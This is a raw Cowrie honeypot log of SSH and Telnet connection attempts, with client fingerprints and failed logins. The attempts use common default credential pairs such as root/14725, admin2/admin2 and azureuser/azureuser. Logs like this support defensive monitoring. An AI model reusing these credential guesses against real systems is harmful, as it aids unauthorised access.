{"eventid":"cowrie.login.failed","username":"kiosk","password":"kiosk","message":"login attempt [kiosk/kiosk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:14.381444Z","src_ip":"20.6.35.235","session":"26dbcd4a13ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:15.659198Z","src_ip":"20.6.35.235","session":"26dbcd4a13ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46584,"dst_ip":"10.17.0.5","dst_port":22,"session":"0404225d2236","protocol":"ssh","message":"New connection: 193.151.144.93:46584 (10.17.0.5:22) [session: 0404225d2236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:38.169861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:38.176022Z","src_ip":"193.151.144.93","session":"0404225d2236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:38.347762Z","src_ip":"193.151.144.93","session":"0404225d2236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:38.858959Z","src_ip":"193.151.144.93","session":"0404225d2236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":53286,"dst_ip":"10.17.0.5","dst_port":22,"session":"b128736b33ee","protocol":"ssh","message":"New connection: 89.223.69.22:53286 (10.17.0.5:22) [session: b128736b33ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:44.553320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:44.557375Z","src_ip":"89.223.69.22","session":"b128736b33ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:44.669672Z","src_ip":"89.223.69.22","session":"b128736b33ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14725","message":"login attempt [root/14725] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:45.011635Z","src_ip":"89.223.69.22","session":"b128736b33ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:46.127657Z","src_ip":"89.223.69.22","session":"b128736b33ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":52688,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6ba95a2db53","protocol":"ssh","message":"New connection: 103.98.149.87:52688 (159.203.135.109:22) [session: b6ba95a2db53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:51.269957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:51.544291Z","src_ip":"103.98.149.87","session":"b6ba95a2db53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:51.548236Z","src_ip":"103.98.149.87","session":"b6ba95a2db53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fortune","message":"login attempt [root/fortune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:55.122125Z","src_ip":"103.98.149.87","session":"b6ba95a2db53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:44:56.411903Z","src_ip":"103.98.149.87","session":"b6ba95a2db53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":36934,"dst_ip":"159.203.135.109","dst_port":23,"session":"6af3c3b8c162","protocol":"telnet","message":"New connection: 50.62.181.92:36934 (159.203.135.109:23) [session: 6af3c3b8c162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:05.303489Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40474,"dst_ip":"10.17.0.5","dst_port":22,"session":"aae2b9e9ff0f","protocol":"ssh","message":"New connection: 193.151.144.93:40474 (10.17.0.5:22) [session: aae2b9e9ff0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:12.615920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:12.624932Z","src_ip":"193.151.144.93","session":"aae2b9e9ff0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:12.815825Z","src_ip":"193.151.144.93","session":"aae2b9e9ff0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:13.339064Z","src_ip":"193.151.144.93","session":"aae2b9e9ff0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:14.519295Z","src_ip":"193.151.144.93","session":"aae2b9e9ff0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":42902,"dst_ip":"159.203.135.109","dst_port":23,"session":"94fb370c7e05","protocol":"telnet","message":"New connection: 79.139.59.21:42902 (159.203.135.109:23) [session: 94fb370c7e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:16.445852Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40476,"dst_ip":"10.17.0.5","dst_port":22,"session":"416110c0cf01","protocol":"ssh","message":"New connection: 193.151.144.93:40476 (10.17.0.5:22) [session: 416110c0cf01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:18.250044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:18.255310Z","src_ip":"193.151.144.93","session":"416110c0cf01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:18.508550Z","src_ip":"193.151.144.93","session":"416110c0cf01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:19.089545Z","src_ip":"193.151.144.93","session":"416110c0cf01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:21.162902Z","src_ip":"193.151.144.93","session":"416110c0cf01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44978,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ffb7ea2cd38","protocol":"ssh","message":"New connection: 193.151.144.93:44978 (10.17.0.5:22) [session: 1ffb7ea2cd38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:23.872210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:23.878180Z","src_ip":"193.151.144.93","session":"1ffb7ea2cd38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:24.057318Z","src_ip":"193.151.144.93","session":"1ffb7ea2cd38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"123456","message":"login attempt [amir/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:24.581238Z","src_ip":"193.151.144.93","session":"1ffb7ea2cd38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:25.765376Z","src_ip":"193.151.144.93","session":"1ffb7ea2cd38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":35154,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc996c4399e6","protocol":"telnet","message":"New connection: 178.128.93.180:35154 (10.17.0.5:23) [session: fc996c4399e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:27.954798Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44988,"dst_ip":"10.17.0.5","dst_port":22,"session":"41f2c10dd50d","protocol":"ssh","message":"New connection: 193.151.144.93:44988 (10.17.0.5:22) [session: 41f2c10dd50d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:29.447177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:29.453115Z","src_ip":"193.151.144.93","session":"41f2c10dd50d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:29.624595Z","src_ip":"193.151.144.93","session":"41f2c10dd50d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:30.138689Z","src_ip":"193.151.144.93","session":"41f2c10dd50d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:31.313449Z","src_ip":"193.151.144.93","session":"41f2c10dd50d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":44976,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a732c2c0c4a","protocol":"ssh","message":"New connection: 94.159.98.239:44976 (159.203.135.109:22) [session: 6a732c2c0c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:34.442171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:34.702283Z","src_ip":"94.159.98.239","session":"6a732c2c0c4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:34.710509Z","src_ip":"94.159.98.239","session":"6a732c2c0c4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":55120,"dst_ip":"10.17.0.5","dst_port":22,"session":"1de6fbf240d0","protocol":"ssh","message":"New connection: 193.151.144.93:55120 (10.17.0.5:22) [session: 1de6fbf240d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:45:34.906665Z"}
